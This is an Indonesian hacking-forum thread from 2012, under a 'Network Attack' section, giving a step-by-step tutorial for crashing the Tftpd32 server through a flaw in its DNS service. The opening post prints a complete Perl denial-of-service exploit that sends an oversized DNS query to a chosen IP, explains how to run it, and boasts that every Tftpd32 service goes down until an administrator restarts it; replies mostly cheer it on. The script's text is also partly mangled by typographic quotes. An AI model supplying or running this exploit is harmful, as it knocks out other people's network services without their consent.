.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server

Go down 
5 posters
PengirimMessage
K-008
Pro Nubie
Pro Nubie



Jumlah posting : 59
Points : 119
Reputation : 10
Join date : 23.04.12

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitimeWed Jun 06, 2012 6:01 pm

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Dnsx

disini penulis akan memberikan tutorial dengan cara melakukan DoS pada suatu aplikasi yang menyediakan berbagai service server yaitu Tftpd32. Tftpd32 menyediakan berbagai service server seperti DHCP, TFTPD, DNS, SNTP dan sebagainya. Situs resmi program Tftpd32 ada di http://tftpd32.jounin.net.

Celah keamanan DoS terdapat pada DNS Server yang dapat membuat program Tftpd tidak aktif lagi di server. Untuk mengetahui lebih jauh tentang bug pada aplikasi server ini anda dapat masuk ke http://www.exploit-db.com/exploits/18946.

Untuk melakukan exploitasi sebagai berikut, pertama-tama pastikan ActivePerl sudah ada di komputer anda, lalu jalankan exploit yang yang dibuat oleh demonalex berikut :

Code:
#!/usr/bin/perluse IO::Socket;
use Socket;
use Math::BigInt;
$|=1;
$host=shift;
$port=shift || ’53′;
die “usage: $0 \$host [\$port]\n” if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
$crash=’A'x128;
$transaction_id_count=1;
sub dns_struct_pack($){
$domain=shift;                  #domain
$type=”\x00\xff”;              #dns_type = ANY
$transaction_id_count=1 if($transaction_id_count > 255);
$x=Math::BigInt->new($transaction_id_count);
$x=~s/0x//;
$transaction_id=sprintf(“\x00″.chr($x));
$flag=”\x01\x00″;
$question=”\x00\x01″;
$answer_rrs=”\x00\x00″;
$authority_rrs=”\x00\x00″;
$additional_rrs=”\x00\x00″;
if($domain ne ’0′){
undef($domain_length);
$domain_length=length($domain);
$y=Math::BigInt->new($domain_length);
$y=~s/0x//;
$domain_length=chr($y);
}
$class=”\x00\x01″;                    #IN
$transaction_id_count++;
if($domain eq ’0′){
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”\x00″.”$type”.”$class”;
}else{
$packet_struct=”$transaction_id”.”$flag”.”$question”.”$answer_rrs”.”$authority_rrs”.”$additional_rrs”.”$domain_length”.”$domain”.
“\x00″.”$type”.”$class”;
}
return $packet_struct;
}
print “Launch attack … “;
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
close(SOCK1);
print “Finish!\n”;exit(0);

Exploit tersebut kita simpan dalam ekstensi .pl, misalnya dosdns.pl, setelah itu tinggal kita panggil exploit tersebut dengan ActivePerl.

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Plx1

Cara penggunaannya adalah seperti diatas.

Jika disini misal targetnya adalah 192.168.1.79 maka sebagai berikut

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Plx2

Langsung otomatis program Tftpd32 keluar, semua service dari Tftpd32 baik DHCP, TFTP, DNS, SNTP, semua langsung mati alias tidak berfungsi, sampai si admin menjalankan kembali program Tftpd.

Oleh Kurniawan
Kembali Ke Atas Go down
CyberWild
Moderator
Moderator
CyberWild


Jumlah posting : 1665
Points : 2310
Reputation : 104
Join date : 11.06.11
Age : 43
Lokasi : internet cloud

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Re: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitimeWed Jun 06, 2012 6:28 pm

mantepppp
Kembali Ke Atas Go down
http://cyberwild.p.ht/
exploi
Newbie - Hack
Newbie - Hack
exploi


Jumlah posting : 408
Points : 464
Reputation : 13
Join date : 02.11.11
Lokasi : exploit

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Re: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitimeThu Jun 07, 2012 11:29 am

ajip dah Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server 1513430891
Kembali Ke Atas Go down
irianto
Private
Private
irianto


Jumlah posting : 144
Points : 165
Reputation : 5
Join date : 21.09.11

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Re: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitimeThu Jun 07, 2012 2:52 pm

Ijin Seditot Gan........................ + Blajar kasian

SALAM C
Kembali Ke Atas Go down
astroboy
Top Nubie
Top Nubie
astroboy


Jumlah posting : 26
Points : 32
Reputation : 2
Join date : 31.10.11
Age : 38
Lokasi : Lampung

Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Re: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitimeMon Jul 16, 2012 3:51 pm

Klo pake Mikrotik apa masih bisa tembus ya Gan..?
Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server 489233
Kembali Ke Atas Go down
http://meitro.com
Sponsored content





Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Empty
PostSubyek: Re: Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server   Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server Icon_minitime

Kembali Ke Atas Go down
 
Cara melakukan serangan denial of service pada Tftpd32 dengan memanfaatkan celah pada DNS Server
Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Network Attack-
Navigasi: